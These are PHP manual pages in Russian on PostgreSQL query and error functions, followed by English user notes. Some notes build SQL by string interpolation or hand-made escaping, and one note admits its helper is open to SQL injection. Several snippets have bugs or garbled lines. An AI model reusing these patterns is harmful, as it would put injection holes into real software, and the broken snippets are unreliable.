(Aside: though this is annoying, the behaviour is correct. There is a postgresql compatibility option "transform_null_equals", but it won't help you here, even though you might expect it to.)
peter dot kehl+nospam at gmail dot com 24-Oct-2012 09:39
Third parameter $params of pg_query_params() ignores nay part of the string values after a zero byte character - PHP "\0" or chr(0). That may be a result of serialize().

See https://bugs.php.net/bug.php?id=63344
alec at smecher dot bc dot ca 18-Apr-2012 03:17
Note that due to your locale's number formatting settings, you may not be able to pass a numeric value in as a parameter and have it arrive in PostgreSQL still a number.

If your system locale uses "," as a decimal separator, the following will result in a database error:

pg_query_params($conn, 'SELECT $1::numeric', array(3.5));

For this to work, it's necessary to manually convert 3.5 to a string using e.g. number_format.

(I filed this as bug #46408, but apparently it's expected behavior.)
victor dot engmark at terreactive dot ch 15-Jun-2011 03:00
You can't run multiple statements with pg_query_params, but you can still have transaction support without falling back to pg_query:

<?php
$connection = pg_connect("host=127.0.0.1 port=5432 dbname=foo user=bar password=baz");
pg_query($connection, 'DROP TABLE IF EXISTS example');
pg_query($connection, 'CREATE TABLE example (col char(1))');
pg_query($connection, 'INSERT INTO example (col) VALUES (\'a\')');
// 'SELECT col FROM example' in another session returns "a"
pg_query($connection, 'BEGIN');
pg_query_params($connection, 'UPDATE example SET col = $1', array('b'));
// 'SELECT col FROM example' in another session still returns "a"
pg_query_params($connection, 'UPDATE example SET col = $1', array('c'));
// 'SELECT col FROM example' in another session still returns "a"
pg_query($connection, 'COMMIT');
// 'SELECT col FROM example' in another session returns "c"
?>
travismowens at gmail dot com 22-Jul-2010 11:38
Unfortunately the params will not respect string representations of NULL or NOW().  If your code pushes these values, they be considered a string and inserted literally as "NULL" and "NOW()".

Ideally, there should be an additional parameter that you can assign to force this text as pgSQL functions/reserved words and not wrap them up as strings (assuming pgSQL's parameterized queries support this.

This same problem also occurs for comma lists used in "WHERE column IN (1,2,3,4)", params treats "1,2,3,4" as a string, not a list of numbers, and runs it with quotes also.

For debugging, I use this function to simulate params, keep in mind this is not 100% accurate, it only attempts to simulate the actual SQL that param queries create.

<?php
    function pg_query_params_return_sql($query, $array)
    {
        $query_parsed = $query;

        for ($a = 0, $b = sizeof($array); $a < $b; $a++)
        {
            if ( is_numeric($array[$a]) )
            {
                $query_parsed = str_replace(('$'.($a+1)), str_replace("'","''", $array[$a]), $query_parsed );
            }
            else
            {
                $query_parsed = str_replace(('$'.($a+1)), "'".str_replace("'","''", $array[$a])."'", $query_parsed );
            }
        }

        return $query_parsed;
    }
?>
ac at esilo dot com 01-Jan-2010 10:45
pg_query and pg_query_params can be combined into a single function.  This also removes the need to construct a parameter array for pg_query_params:

<?php
function my_query($conn, $query)
{
  if(func_num_args() == 2)
    return pg_query($conn, $query);

  $args = func_get_args();
  $params = array_splice($args, 2);
  return pg_query_params($conn, $query, $params);
}
?>

Usage:

<?php
/* non-parameterized example */
my_query($conn, "SELECT $val1 + $val2");

/* parameterized example */
my_query($conn, "SELECT $1 + $2", $val1, $val2);
?>
strata_ranger at hotmail dot com 24-May-2009 09:03
Regarding boolean values, just typecast them as (integer) when passing them in your query -- '0' and '1' are perfectly acceptable literals for SQL boolean input:

- http://www.postgresql.org/docs/8.2/interactive/datatype-boolean.html

It is also safe to write your paramerized query in double-quotes, which allows you to mix constant values and placeholders in your query without having to worry about how whether PHP will attempt to substitute any variables in your parameterized string.

Of course this also means that unlike PHP's double-quoted string syntax, you CAN include literal $1, $2, etc. inside SQL strings, e.g:

<?php
// Works ($1 is a placeholder, $2 is meant literally)
pg_query_params("INSERT INTO foo (col1, col2) VALUES ($1, 'costs $2')", Array($data1));

// Throws an E_WARNING (passing too many parameters)
pg_query_params("INSERT INTO foo (col1, col2) VALUES ($1, 'costs $2')", Array($data1, $data2));
?>
jsnell at e-normous dot com 26-Sep-2007 03:57
When inserting into a pg column of type bool, you cannot supply a PHP type of bool.  You must instead use a string "t" or "f". PHP attempts to change boolean values supplied as parameters to strings, and then attempts to use a blank string for false.

Example of Failure:
pg_query_params('insert into table1 (bool_column) values ($1)', array(false));

Works:
pg_query_params('insert into lookup_permissions (system) values ($1)', array(false ? 't' : 'f'));
dt309 at f2s dot com 22-Dec-2006 12:11
If you need to provide multiple possible values for a field in a select query, then the following will help.

<?php
// Assume that $values[] is an array containing the values you are interested in.
$values = array(1, 4, 5, 8);

// To select a variable number of arguments using pg_query() you can use:
$valuelist = implode(', ', $values);
$query = "SELECT * FROM table1 WHERE col1 IN ($valuelist)";
$result = pg_query($query)
    or die(pg_last_error());

// You may therefore assume that the following will work.
$query = 'SELECT * FROM table1 WHERE col1 IN ($1)';
$result = pg_query_params($query, array($valuelist))
    or die(pg_last_error());
// Produces error message: 'ERROR: invalid input syntax for integer'
// It only works when a SINGLE value specified.

// Instead you must use the following approach:
$valuelist = '{' . implode(', ', $values . '}'
$query = 'SELECT * FROM table1 WHERE col1 = ANY ($1)';
$result = pg_query_params($query, array($valuelist));
?>

The error produced in this example is generated by PostGreSQL.

The last method works by creating a SQL array containing the desired values. 'IN (...)' and ' = ANY (...)' are equivalent, but ANY is for working with arrays, and IN is for working with simple lists.
mledford 04-Oct-2006 08:18
If you are trying to replicate the function pg_query_params, you might also want to support NULL values. While is_int returns true for a NULL value, the formatting for the SQL.

function pg_query_params( $db, $query, $parameters ) {
    // Escape parameters as required & build parameters for callback function
    global $pg_query_params__parameters;
    foreach( $parameters as $k=>$v ) {
        if ( is_null($v) ) {
            $parameters[$k] = 'NULL';
        } else {
            $parameters[$k] = ( is_int( $v ) ? $v : "'".pg_escape_string( $v )."'" );
        }
    }
    $pg_query_params__parameters = $parameters;

    // Call using pg_query
    return pg_query( $db, preg_replace_callback( '/\$([0-9]+)/', 'pg_query_params__callback', $query));
}
cc+php at c2se dot com 02-Sep-2006 05:17
This is a useful function for preventing SQL injection attacks, so, for those of us who are not yet able to upgrade to PHP5.1, here is a replacement function which works similarly on older versions of PHP...

<?php   # Parameterised query implementation for Postgresql and older versions of PHP

        if( !function_exists( 'pg_query_params' ) ) {

                function pg_query_params__callback( $at ) {
                        global $pg_query_params__parameters;
                        return $pg_query_params__parameters[ $at[1]-1 ];
                }

                function pg_query_params( $db, $query, $parameters ) {

                        // Escape parameters as required & build parameters for callback function
                        global $pg_query_params__parameters;
                        foreach( $parameters as $k=>$v )
                                $parameters[$k] = ( is_int( $v ) ? $v : "'".pg_escape_string( $v )."'" );
                        $pg_query_params__parameters = $parameters;

                        // Call using pg_query
                        return pg_query( $db, preg_replace_callback( '/\$([0-9]+)/', 'pg_query_params__callback', $query ) );

                }
        }

        // Example: pg_query_params( $db_resource, "SELECT * FROM table WHERE col1=$1 AND col2=$2", array( 42, "It's ok" ) );
?>


Выполняет запрос

  • « pg_query_params
  • pg_result_error_field »
  • PHP Manual
  • Функции PostgreSQL
  • Выполняет запрос

pg_query

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_query — Выполняет запрос

Описание

pg_query(PgSql\Connection $connection = ?, string $query): PgSql\Result|false

pg_query() выполняет query к указанной в connection базе данных. pg_query_params() должна быть предпочтительнее в большинстве случаев.

В случае возникновения ошибки функция возвращает false, детали ошибки можно получить с помощью функции pg_last_error(), если соединение с БД не нарушено.

Замечание: Несмотря на то, что параметр connection может быть опущен, делать так не рекомендуется, так как это может привести к трудно находимым ошибкам в скриптах.

Замечание:

Ранее данная функция называлась pg_exec(). pg_exec() всё ещё доступна в целях обеспечения совместимости, но лучше использовать новое имя.

Список параметров

connection

Экземпляр PgSql\Connection. Если connection не указано, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

query

Выражение или выражения SQL для выполнения. Если передано несколько выражений они автоматически выполняются, как одна транзакция если явно не указаны команды BEGIN/COMMIT внутри выражения. Тем не менее, использовать несколько транзакций в одном вызове функции не рекомендуется.

Внимание

Строковое представление пользовательских данных очень опасно и часто приводит к возможности SQL инъекции. В большинстве случаев лучше передавать пользовательские данные параметром в pg_query_params(), а не подставлять их в строку запроса.

Любые данные передаваемые от пользователя непосредственно в строку запроса должны быть хорошо экранированы.

Возвращаемые значения

Экземпляр PgSql\Result в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр PgSql\Result; ранее возвращался ресурс (resource).
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_query()

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "Произошла ошибка.\n";
exit;
}

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
echo "Произошла ошибка.\n";
exit;
}

while ($row = pg_fetch_row($result)) {
echo "Автор: $row[0] E-mail: $row[1]";
echo "<br />\n";
}

?>

Пример #2 Использование нескольких выражений в pg_query()

<?php

$conn = pg_pconnect("dbname=publisher");

// эти выражения будут исполнены в одной транзакции

$query = "UPDATE authors SET author=UPPER(author) WHERE id=1;";
$query .= "UPDATE authors SET author=LOWER(author) WHERE id=2;";
$query .= "UPDATE authors SET author=NULL WHERE id=3;";

pg_query($conn, $query);

?>

Смотрите также

  • pg_connect() - Открывает соединение с базой данных PostgreSQL
  • pg_pconnect() - Открывает постоянное соединение с сервером PostgreSQL
  • pg_fetch_array() - Возвращает строку результата в виде массива
  • pg_fetch_object() - Выбирает строку результата запроса и возвращает данные в виде объекта
  • pg_num_rows() - Возвращает количество строк в выборке
  • pg_affected_rows() - Возвращает количество затронутых запросом записей (кортежей)

User Contributed Notes

Anonymous 17-Dec-2013 10:00
Here is my small function to make it easier for me to use data from select queries (attention, it is sensitive to sql injection)
<?php
function requestToDB($connection,$request){
    if(!$result=pg_query($connection,$request)){
        return False;
    }
    $combined=array();
    while ($row = pg_fetch_assoc($result)) {
        $combined[]=$row;
    }
    return $combined;
}
?>

Example:
<?php
$conn = pg_pconnect("dbname=mydatabase");

$results=requestToDB($connect,"select * from mytable");

//You can now access a "cell" of your table like this:
$rownumber=0;
$columname="mycolumn";

$mycell=$results[$rownumber][$columname];
var_dump($mycell);
a dot mcruer at live dot com 17-May-2013 06:46
A quick note for novice users: when gathering input from fields on a web form that maintains a database connection, *never* use pg_query to do queries from the field. Always sanitize input using pg_prepare and pg_execute.
sd at dicksonlife dot com 14-Sep-2006 12:40
Took me a while to track this down so I thought it might be useful for others:

If you use stored procedures and need to get result sets back from them:

function dbquery($link,$query){
  pg_query($link,"BEGIN;");
  $tr=pg_query($link,$query);
  $r=pg_fetch_row($tr);
  $name=$r[0];
  $rs=pg_query($link,"FETCH ALL IN \"" . $name . "\";");
  pg_query($link,"END;");
  return $rs;
}

(Error checking removed for clarity)
zoli at makettinfo.hu 21-May-2006 08:07
It would be better this way:

<?php
  $result=pg_query($conn, "SELECT COUNT(*) AS rows FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if ($line = pg_fetch_assoc($result)) {
    if ($line['rows'] == 0) {
     echo "0 records"
    }
  }
  else {
   while ($row = pg_fetch_array($result)) {
     //do stuff with $row
   }
  }
?>

This solution doesn't raise the load of the system with the move of matching rows (perhaps 0,1, perhaps 100, 1000, ... rows)
mankyd 13-May-2006 07:21
There was a typo in the code that I posted:

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if (pg_num_rows($result) == 0) {
   echo "0 records"
  }
  else {
   while ($row = pg_fetch_array($result)) {
     //do stuff with $row
   }
  }
?>
mankyd 12-May-2006 06:56
Improving upon what jsuzuki said:

It's probably better to use pg_num_rows() to see if no rows were returned, as that leaves the resultset cursor pointed to the first row so you can use it in a loop.

Example:

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if (pg_num_rows($result) == 0) {
   echo "0 records"
  }
  else {
    while ($row = pg_fetch_array($result) {
      //do stuff with $row
    }
  }
?>

I, personally, also find it more readable.
jsuzuki at spamcop dot net 27-Nov-2005 05:58
expanding on the note left by "cmoore" -

To check to see if the recordset returned no records,

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
    echo "query did not execute";
  }
  $rs = pg_fetch_assoc($result);
  if (!$rs) {
    echo "0 records"
  }
?>

-jack
cmoore 05-Sep-2005 11:20
One thing to note that wasn't obvious to me at first.  If your query returns zero rows, that is not a "failed" query.  So the following is wrong:
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
    echo "No a=b in x\n";
  }

pg_query returns FALSE if the query can not be executed for some reason.  If the query is executed but returns zero rows then you get back a resul with no rows.
Akbar 01-Dec-2004 08:07
Use pg_query to call your stored procedures, and use pg_fetch_result when getting a value (like a smallint as in this example) returned by your stored procedure.

<?php
$pgConnection = pg_connect("dbname=users user=me");

$userNameToCheckFor = "metal";

$result = pg_query($pgConnection, "SELECT howManyUsersHaveThisName('$userNameToCheckFor')");

$count = pg_fetch_result($result, 0, 'howManyUsersHaveThisName');
?>
mentat at azsoft dot pl 14-Oct-2002 05:16
$GLOBALS["PG_CONNECT"]=pg_connect(...);
....

function query ($sqlQuery,$var=0) {
   if (!$GLOBALS["PG_CONNECT"]) return 0;
   $lev=error_reporting (8); //NO WARRING!!
   $result=pg_query ($sqlQuery);
   error_reporting ($lev); //DEFAULT!!
   if (strlen ($r=pg_last_error ($GLOBALS["PG_CONNECT"]))) {
      if ($var) {
        echo "<p color=\"red\">ERROR:<pre>";
        echo $sqlQuery;
        echo "</pre>";
        echo $r;
        echo "&lt/p>";
      }
      close_db ();
      return 0;
   }
   return $result;
}


Возвращает конкретное поле из отчёта об ошибках

  • « pg_query
  • pg_result_error »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает конкретное поле из отчёта об ошибках

pg_result_error_field

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_result_error_field — Возвращает конкретное поле из отчёта об ошибках

Описание

pg_result_error_field(PgSql\Result $result, int $field_code): string|false|null

pg_result_error_field() возвращает одно из полей отчёта об ошибках, связанного с экземпляром result. Функция поддерживается серверами PostgreSQL версий 7.4 и выше. Нужное поле задаётся аргументом field_code.

Функции pg_query() и pg_query_params() в случае ошибок возвращают false вместо ресурса. Чтобы иметь возможность обрабатывать ошибки, пользуйтесь функциями pg_send_query() и pg_get_result().

Для получения дополнительной информации о ходе выполнения отказавшей
функции pg_query() используйте функции
pg_set_error_verbosity() и
pg_last_error() и обрабатывайте результат
их выполнения.

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

field_code

Возможные значения аргумента field_code: PGSQL_DIAG_SEVERITY, PGSQL_DIAG_SQLSTATE, PGSQL_DIAG_MESSAGE_PRIMARY, PGSQL_DIAG_MESSAGE_DETAIL, PGSQL_DIAG_MESSAGE_HINT, PGSQL_DIAG_STATEMENT_POSITION, PGSQL_DIAG_INTERNAL_POSITION (для версий PostgreSQL 8.0 и выше), PGSQL_DIAG_INTERNAL_QUERY (для версий PostgreSQL 8.0 и выше), PGSQL_DIAG_CONTEXT, PGSQL_DIAG_SOURCE_FILE, PGSQL_DIAG_SOURCE_LINE, PGSQL_DIAG_SOURCE_FUNCTION.

Возвращаемые значения

Сообщение об ошибке из заданного поля в виде строки (string); null, если заданное поле не существует; false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_result_error_field()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

if (!pg_connection_busy($dbconn)) {
pg_send_query($dbconn, "select * from doesnotexist;");
}

$res1 = pg_get_result($dbconn);
echo pg_result_error_field($res1, PGSQL_DIAG_SQLSTATE);
?>

Смотрите также

  • pg_result_error() - Возвращает сообщение об ошибке, связанное с запросом результата

User Contributed Notes

dev at gwouite dot fr 30-Jul-2023 09:23
Complete list of field codes from libpq documentation...

Warning : they are prefixed with "PG_", just change to "PGSQL_" and they'll be available as defined PHP values.

For me, most importants fields are suffixed with a star ;)

PG_DIAG_SEVERITY
PG_DIAG_SEVERITY_NONLOCALIZED  *
PG_DIAG_SQLSTATE  *
PG_DIAG_MESSAGE_PRIMARY
PG_DIAG_MESSAGE_DETAIL
PG_DIAG_MESSAGE_HINT
PG_DIAG_STATEMENT_POSITION
PG_DIAG_INTERNAL_POSITION
PG_DIAG_INTERNAL_QUERY
PG_DIAG_CONTEXT
PG_DIAG_SCHEMA_NAME  *
PG_DIAG_TABLE_NAME  *
PG_DIAG_COLUMN_NAME  *
PG_DIAG_DATATYPE_NAME  *
PG_DIAG_CONSTRAINT_NAME
PG_DIAG_SOURCE_FILE
PG_DIAG_SOURCE_LINE
PG_DIAG_SOURCE_FUNCTION

Source and field codes details : https://www.postgresql.org/docs/current/libpq-exec.html


Возвращает сообщение об ошибке, связанное с запросом результата

  • « pg_result_error_field
  • pg_result_seek »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает сообщение об ошибке, связанное с запросом результата

pg_result_error

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_result_error — Возвращает сообщение об ошибке, связанное с запросом результата

Описание

pg_result_error(PgSql\Result $result): string|false

pg_result_error() возвращает сообщение о любой ошибке, связанное с экземпляром result. Таким образом, возможно получить более верное сообщение об ошибке, чем при использовании pg_last_error().

Функция pg_result_error_field() может дать гораздо более подробную информацию об ошибке, чем pg_result_error().

Так как pg_query() возвращает false в случае возникновения ошибки запроса, необходимо использовать pg_send_query() и pg_get_result() для получения дескриптора результата.

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

Возвращаемые значения

Возвращает строку (string). Возвращает пустую строку, если нет ошибки. Если же есть ошибка, не связанная с параметром result, то возвращается false.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_result_error()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

if (!pg_connection_busy($dbconn)) {
pg_send_query($dbconn, "select * from doesnotexist;");
}

$res1 = pg_get_result($dbconn);
echo pg_result_error($res1);
?>

Смотрите также

  • pg_result_error_field() - Возвращает конкретное поле из отчёта об ошибках
  • pg_query() - Выполняет запрос
  • pg_send_query() - Отправляет асинхронный запрос
  • pg_get_result() - Получение результата асинхронного запроса
  • pg_last_error() - Получает сообщение о последней произошедшей ошибке на соединении с базой данных
  • pg_last_notice() - Возвращает последнее уведомление от сервера PostgreSQL

User Contributed Notes

VLroyrenn 18-Jan-2019 07:19
So considering pg_query and pg_query_params don't return results on error, and that this would be an extremely handy thing to have, I just ended up writing my own functions wrapping the pg_send_* ones to work like the aforementionned two <em>should</em>. There's not a whole lot of code to them, the comments are mostly references from the libPQ and PHP doc, to explain the behavior.

<?php

class PostgresConnectionError extends Exception {
    public function __construct($last_error) {
        parent::__construct($message);
    }
}

function pg_send_query_sync($connection, string $query) {
    // This function cannot work if any query is already running for that connection because the results may then get mixed up.
    assert(pg_get_result($connection) === false);

    $dispatch_ok = pg_send_query($connection, $query);

    // The *only* case where nothing can be returned, when the connection fails to dispatch the initial query.
    if (!$dispatch_ok) throw new PostgresConnectionError(pg_?last_?error($connection));

    // From the libPQ doc : "PQgetResult must be called repeatedly until it returns a null pointer, indicating that the command is done."

    // In the case of pg_query/PQExec, which we're trying to emulate:
    // "Note however that the returned PGresult structure describes only the result of the last command executed from the string."
    // "Should one of the commands fail, processing of the string stops with it and the returned PGresult describes the error condition."

    while ($result = pg_get_result($connection)) {
        // Drain all results on the connection and only return the last one.
        if ($last_result) pg_free_result($last_result);
        $last_result = $result;
    }

    assert(is_resource($result) && get_resource_type($result) === "pgsql result");
    return $last_result;
}

function pg_send_query_params_sync($connection, string $query, array $params) {
    // This function cannot work if any query is already running for that connection because the results may then get mixed up.
    assert(pg_get_result($connection) === false);

    $dispatch_ok = pg_send_query_params($connection, $query, $params);

    // The *only* case where nothing can be returned, when the connection fails to dispatch the initial query.
    if (!$dispatch_ok) throw new PostgresConnectionError(pg_?last_?error($connection));

    // From the libPQ doc : "PQgetResult must be called repeatedly until it returns a null pointer, indicating that the command is done."

    // In the case of pg_query_params/PQExecParams, which we're trying to emulate:
    // "Unlike PQexec, PQexecParams allows at most one SQL command in the given string. (There can be semicolons in it, but not more than one nonempty command.)"

    while ($result = pg_get_result($connection)) {
        // Drain all results on the connection, although there should only be one.
        if ($last_result) pg_free_result($last_result);
        $last_result = $result;
    }

    assert(is_resource($result) && get_resource_type($result) === "pgsql result");
    return $last_result;
}
spamuser at test dot com 16-Mar-2011 01:14
pg_result_error does NOT work with prepared statements.
axon dot wp at wp dot pl 02-Mar-2006 04:20
You can  use pg_set_error_verbosity() to retrieve SQLSTATUS from pg_last_error().
15-Mar-2004 04:12
Because pg_query() returns FALSE if the query fails, you must must use pg_send_query() and pg_get_result() to get the result handle.

PostgreSQL 7.4 introduced a new function called PQresultErrorField() that can be used to get SQLSTATE code from a query, which is far more useful than the error string returned from pg_result_error().
http://www.postgresql.org/docs/7.4/static/libpq-exec.html
http://www.postgresql.org/docs/7.4/static/errcodes-appendix.html

Here's a patch that adds the pg_result_error_field() function to PHP:
http://collapsed.net/patches/php-4.3.5RC3-pg_result_error_field.diff
(To apply the patch cd into your php-4.3.5RC directory and type: patch -p1 </path/to/php-4.3.5RC3-pg_result_error_field.diff)

Example code:
<?php
  if(!($db = pg_connect("user=foo password=bar dbname=foobar")))
    die("pg_connect");

  if(!pg_send_query($db, "SELECT foo FROM bar"))
    die("pg_send_query");

  if(!($result = pg_get_result($db)))
    die("pg_get_result");

  echo(pg_result_error($result) . "<br />\n");

  /* only available if you have patched php */
  if(function_exists("pg_result_error_field"))
  {
    $fieldcode = array(
      "PGSQL_DIAG_SEVERITY",        "PGSQL_DIAG_SQLSTATE",
      "PGSQL_DIAG_MESSAGE_PRIMARY", "PGSQL_DIAG_MESSAGE_DETAIL",
      "PGSQL_DIAG_MESSAGE_HINT",    "PGSQL_DIAG_STATEMENT_POSITION",
      "PGSQL_DIAG_CONTEXT",         "PGSQL_DIAG_SOURCE_FILE",
      "PGSQL_DIAG_SOURCE_LINE",     "PGSQL_DIAG_SOURCE_FUNCTION");

    foreach($fieldcode as $fcode)
    {
      printf("%s: %s<br />\n",
        $fcode,
        pg_result_error_field($result, constant($fcode)));
    }

    pg_free_result($result);
  }
?>

<?php pg_result_error_field($result, PGSQL_DIAG_SQLSTATE); ?>
Returns the SQLSTATE code.


Смещает указатель на строку выборки в экземпляре результата запроса

  • « pg_result_error
  • pg_result_status »
  • PHP Manual
  • Функции PostgreSQL
  • Смещает указатель на строку выборки в экземпляре результата запроса

pg_result_seek

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_result_seek — Смещает указатель на строку выборки в экземпляре результата запроса

Описание

pg_result_seek(PgSql\Result $result, int $row): bool

pg_result_seek() устанавливает смещение внутреннего указателя в экземпляре result.

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

row

Количество строк, на которое требуется сместить внутренний указатель ресурса PgSql\Result. Строки нумеруются с нуля.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_result_seek()

<?php

// Подключение к базе данных
$conn = pg_pconnect("dbname=publisher");

// Выполнение запроса
$result = pg_query($conn, "SELECT author, email FROM authors");

// Перемещаемся сразу на третью строку
// (допускаем, что в результате есть хотя бы три строки)
pg_result_seek($result, 2);

// Выбираем третью строку из результата
$row = pg_fetch_row($result);

?>

Смотрите также

  • pg_fetch_row() - Выбирает строку результата запроса и помещает данные в массив
  • pg_fetch_assoc() - Выбирает строку результата запроса и помещает данные в ассоциативный массив
  • pg_fetch_array() - Возвращает строку результата в виде массива
  • pg_fetch_object() - Выбирает строку результата запроса и возвращает данные в виде объекта
  • pg_fetch_result() - Возвращает запись из результата запроса

User Contributed Notes

andrew-php dot net at andrew dot net dot au 17-Sep-2004 08:01
Ah, this is a handy feature for resetting the record index, for example, if you're used pg_fetch_{row,array,assoc} to iterate over the result set, and you want to do it again later on, without reexecuting your query. Something like:

<?php pg_result_seek($result, 0); ?>

will allow you to iterate over the result set all over again...


Возвращает состояние результата запроса

  • « pg_result_seek
  • pg_select »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает состояние результата запроса

pg_result_status

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_result_status — Возвращает состояние результата запроса

Описание

pg_result_status(PgSql\Result $result, int $mode = PGSQL_STATUS_LONG): string|int

pg_result_status() возвращает текущее состояние экземпляра PgSql\Result, либо тег завершения сервером работы с с этим ресурсом.

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

mode

Принимает одно из двух значений: PGSQL_STATUS_LONG для получения числового обозначения состояния result, либо PGSQL_STATUS_STRING для получения тэга состояния в виде строки. По умолчанию используется PGSQL_STATUS_LONG.

Возвращаемые значения

Если в качестве аргумента передаётся PGSQL_STATUS_LONG, то возвращается одна из перечисленных констант: PGSQL_EMPTY_QUERY, PGSQL_COMMAND_OK, PGSQL_TUPLES_OK, PGSQL_COPY_OUT, PGSQL_COPY_IN, PGSQL_BAD_RESPONSE, PGSQL_NONFATAL_ERROR, PGSQL_FATAL_ERROR. В противном случае функция вернёт строковое представление состояния результата запроса.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_result_status()

<?php

// Подключаемся к базе данных
$conn = pg_pconnect("dbname=publisher");

// Выполняем команду COPY
$result = pg_query($conn, "COPY authors FROM STDIN;");

// Получаем состояние результата запроса
$status = pg_result_status($result);

// Разбираем полученные данные
if ($status == PGSQL_COPY_IN)
echo "Copy began.";
else
echo "Copy failed.";

?>

Результат выполнения данного примера:

Copy began.

Смотрите также

  • pg_connection_status() - Определяет состояние подключения

User Contributed Notes

Anonymous 01-Mar-2014 06:44
This function is useful it may not return a  full non fatal error but you want to see if the query completes anyway.

example

<?PHP
//connect to pg database
// create PGSQL

$PGSTAT = pg_result_status($PGSQL);//defaults to long

//And run it through a check for example

if(($PGSTAT == 1) || ($PGSTAT == 2)){
 // for query results;
}else if(($PGSTAT == 3) || ($PGSTAT == 4)){
 // for copy results;
}
if(($PGSTAT != 0) && ($PGSTAT != 5) && ($PGSTAT != 6) && ($PGSTAT != 7)){
// your code;
}else{
 // $ERRORS codes;
}
// This is worked the best for me so far  I tried using
// The command tag and I seem to still get an numeric result
//example
//$PGSTAT = pg_result_status($PGSQL, PGSQL_COMMAND_OK);
// got something like tuples ok so I recommend just use default long
?>
or use what ever condition check you feel fit
dean at deansas dot org 01-Feb-2013 03:50
The postgres docs say that PHP should never be able to return PGRES_NONFATAL_ERROR

"A result of status PGRES_NONFATAL_ERROR will never be returned directly by PQexec or other query execution functions" http://www.postgresql.org/docs/current/static/libpq-exec.html

Therefore you cannot use this function to check if this query produced a notice.
Meej Vaj 08-Jun-2005 06:45
If on "accident" your program passes pg_result_status a variable that is NOT a actual pg resource, it will return an empty string.
(This is important to know if you want to make sure a pg resource is "good" before attempting some operation on it).
romix at gmx dot de 16-Oct-2002 06:29
0 = PGSQL_EMPTY_QUERY
1 = PGSQL_COMMAND_OK
2 = PGSQL_TUPLES_OK
3 = PGSQL_COPY_TO
4 = PGSQL_COPY_FROM
5 = PGSQL_BAD_RESPONSE
6 = PGSQL_NONFATAL_ERROR
7 = PGSQL_FATAL_ERROR


Выбирает записи из базы данных

  • « pg_result_status
  • pg_send_execute »
  • PHP Manual
  • Функции PostgreSQL
  • Выбирает записи из базы данных

pg_select

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_select — Выбирает записи из базы данных

Описание

pg_select(
PgSql\Connection $connection,
string $table_name,
array $conditions,
int $flags = PGSQL_DML_EXEC,
int $mode = PGSQL_ASSOC
): array|string|false

pg_select() выбирает записи из базы данных, удовлетворяющие условиям field=>value, заданным в массиве conditions.

Если задан параметр flags, то к массиву conditions будет применена функция pg_convert() с параметрами, заданными в качестве аргумента.

Если задан параметр mode, возвращаемое значение будет в виде массива при PGSQL_NUM, ассоциативного массива при PGSQL_ASSOC (по умолчанию) или и того, и другого при PGSQL_BOTH.

По умолчанию pg_insert() передаёт необработанные значения. Значения должны быть экранированы или опция PGSQL_DML_ESCAPE должна быть указана. PGSQL_DML_ESCAPE заключает в кавычки и экранирует параметры/идентификаторы. Поэтому имена таблиц/столбцов становятся чувствительными к регистру.

Обратите внимание, что ни экранирование, ни подготовленный запрос не защитят запрос LIKE, JSON, массив, регулярные выражения и т.д.. Эти параметры должны обрабатываться в соответствии с их контекстами, т.е. следует экранировать/проверять значения.

Список параметров

connection

Экземпляр PgSql\Connection.

table_name

Название таблицы, из которой выбираются данные.

conditions

Массив (array), ключи которого соответствуют именам колонок таблицы table_name. Будут выбраны только те строки, значения полей которых совпадут со значениями массива.

flags

